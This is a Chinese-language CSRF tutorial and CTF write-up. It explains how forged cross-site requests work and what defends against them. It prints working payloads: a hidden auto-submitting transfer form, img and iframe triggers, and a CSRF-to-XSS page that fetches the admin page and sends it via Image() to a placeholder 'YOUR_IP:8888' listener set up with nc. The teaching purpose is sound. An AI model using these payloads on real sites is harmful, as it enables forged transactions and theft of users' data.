跨站请求伪造(Cross-Site Request Forgery,简称 CSRF)是一种针对 Web 应用程序的攻击方式。通过 CSRF,攻击者诱导受害者在不知情的情况下,以受害者的身份执行非本意的操作。本文将详细介绍 CSRF 的基本原理、常见攻击方式、在 CTF 中的实战案例,以及如何防御 CSRF 攻击。
一、CSRF 的基本原理
CSRF 攻击的核心思想是:
如果受害者已经登录某个网站,那么攻击者可以诱使受害者的浏览器在后台自动发送请求,这个请求会自动携带受害者的身份验证信息(如 Cookie),从而导致非本意的操作。
1.1 浏览器与 Cookie 的关系
-
Cookie 自动携带:
当用户在浏览器中登录某个网站时,服务器会通过 Set-Cookie 将身份验证数据(如 SessionID)存储到浏览器中。以后,浏览器在访问同一网站时会自动带上这些 Cookie,无需用户额外操作。 -
同源策略(SOP):
浏览器通过同源策略来限制脚本访问其它域的数据,但对于跨站表单提交(如 GET 或 POST 请求),浏览器会自动携带 Cookie。CSRF 就正是利用这一特点来伪造请求。
1.2 CSRF 攻击流程
-
受害者登录:
受害者在目标网站(例如银行、论坛等)登录后,浏览器中保存了有效的 Cookie 和会话信息。 -
攻击者构造恶意页面:
攻击者在自己控制的网站上(例如 hacker.localhost)制作一个恶意页面,该页面中嵌入了指向目标网站的请求。常见的方式包括使用隐藏的 HTML 表单、图片标签或 iframe 等。 -
诱导受害者访问恶意页面:
攻击者通过钓鱼邮件、链接分享或其它方式诱导受害者访问恶意页面。当受害者访问时,浏览器会自动向目标网站发送请求,并携带受害者的 Cookie。 -
目标网站执行操作:
由于请求中包含了合法的 Cookie,目标网站认为这是受害者本人发出的请求,从而执行敏感操作,如转账、修改密码、发布消息等。
二、CSRF 攻击的常见方式
2.1 隐藏表单自动提交
攻击者在恶意页面中构造一个隐藏的 HTML 表单,并使用 JavaScript 自动提交。
示例代码:
<html>
<body>
<form id="csrfForm" action="http://targetsite.com/transfer" method="POST">
<!-- 隐藏字段,如果目标接口需要参数 -->
<input type="hidden" name="to_account" value="attacker_account">
<input type="hidden" name="amount" value="1000">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
这种方式依赖于浏览器自动提交表单,并且不会受到同源策略的限制,因为表单提交会自动携带 Cookie。
2.2 利用图片或 iframe
攻击者利用 <img>
或 <iframe>
标签触发 GET 请求。例如:
<html>
<body>
<!-- 触发 GET 请求,自动携带 Cookie -->
<img src="http://targetsite.com/delete_account?user=admin" style="display:none;">
</body>
</html>
或使用 iframe:
<html>
<body>
<iframe src="http://targetsite.com/perform_action?param=value" style="display:none;"></iframe>
</body>
</html>
2.3 JavaScript 触发重定向
在受害者浏览器中使用 JavaScript 重定向到目标 URL,例如:
<html>
<body>
<script>
window.location = "http://targetsite.com/perform_action?param=value";
</script>
</body>
</html>
这种方式也会自动携带受害者的 Cookie,从而完成 CSRF 攻击。
三、CTF 中的 CSRF 实战案例
在 CTF 竞赛中,题目往往会设计一个脆弱的 Web 应用程序,让参赛者利用 CSRF 发起请求。一个典型的场景如下:
-
目标应用(pwnpost):
管理员的 flag 隐藏在草稿帖子中,只有在发布后才会完整显示。管理员默认不会发布草稿。 -
攻击思路:
利用 CSRF 诱使管理员浏览器发起一个 POST 请求到/publish
,将草稿帖子发布。由于管理员的页面对草稿做了部分隐藏,所以发布后 flag 会完整显示。 -
利用 CSRF-to-XSS 链:
由于直接窃取 HttpOnly cookie 不可行,攻击者可以利用 CSRF 触发一个反射型 XSS 漏洞,从而在管理员浏览器中执行 JavaScript。该 JavaScript 使用 fetch() 请求目标页面,获取 flag 内容,再通过其他手段(例如 Image() 对象) exfiltrate 数据到攻击者服务器。
示例恶意页面
下面是一份示例代码,展示了如何利用 CSRF 触发反射型 XSS,然后 fetch() 页面获取 flag 内容并发送到攻击者服务器:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CSRF-to-XSS Exfiltration</title>
</head>
<body>
<h1>Triggering CSRF-to-XSS Attack</h1>
<script>
// Construct the XSS payload. Dynamically split the closing tag to avoid premature termination.
var payload = `<scr` + `ipt>
// Use fetch() to retrieve the homepage which includes the flag (after admin's draft is published)
fetch("http://challenge.localhost/", { credentials: "include" })
.then(response => response.text())
.then(data => {
// Exfiltrate the data to the attacker's server. Replace YOUR_IP:8888 with your attacker's address.
var exfilUrl = "http://YOUR_IP:8888/?flag=" + encodeURIComponent(data);
new Image().src = exfilUrl;
})
.catch(error => console.error("Fetch error:", error));
</scr` + `ipt>`;
// URL-encode the payload so it can be safely passed as a parameter
var encodedPayload = encodeURIComponent(payload);
// Build the target URL using the /ephemeral endpoint which reflects the msg parameter
var targetUrl = "http://challenge.localhost/ephemeral?msg=" + encodedPayload;
// Create an invisible iframe to force admin's browser to load the target URL and execute our payload
var iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.src = targetUrl;
document.body.appendChild(iframe);
</script>
</body>
</html>
部署步骤:
- 将上述代码保存为
index.html
,并将YOUR_IP:8888
替换成你攻击机的实际 IP 和监听端口。 - 在你的攻击机上启动一个 HTTP 服务器,例如:
使恶意页面可通过python3 -m http.server 1337
http://hacker.localhost:1337/
访问。 - 启动一个监听服务器(例如使用 netcat):
nc -l -p 8888 -v
- 使用 victim 工具触发 admin 访问你的恶意页面:
/challenge/victim http://hacker.localhost:1337/
- 管理员的浏览器加载页面后,会通过 CSRF 触发反射型 XSS,进而执行 fetch() 请求,获取包含 flag 的页面内容,并通过 Image() 将数据 exfiltrate 到你的监听服务器。
- 检查 netcat 输出,从 exfiltrated 数据中提取出 flag。
四、防御措施
为了防止 CSRF 攻击,常用的防御措施包括:
-
CSRF Token:
在敏感表单中加入一个随机生成的 token,并在服务器端进行校验,确保请求来源正确。 -
SameSite Cookie 属性:
设置 Cookie 的 SameSite 属性(如SameSite=Lax
或SameSite=Strict
),可以有效减少跨站请求中 Cookie 被自动发送的风险。 -
双重验证:
对于关键操作,要求用户在执行操作时进行额外确认(如验证码、短信验证等)。 -
CSP(Content Security Policy):
限制外部脚本的加载,有助于降低 XSS 攻击风险,但对于 CSRF 攻击防护效果有限。
五、总结
CSRF 攻击利用浏览器自动携带 Cookie 的特点,让受害者在不知情的情况下执行敏感操作。在 CTF 竞赛中,题目往往会设计场景,让参赛者通过 CSRF 触发反射型 XSS,从而获取管理员页面中的 flag。
本文详细介绍了 CSRF 攻击的原理、常见方式以及一个实战案例,并讨论了如何防御此类攻击。
理解并掌握 CSRF 攻击有助于你在 CTF 中快速识别并利用漏洞,同时也能提高你对 Web 安全防护措施的理解。
Happy hacking and stay secure!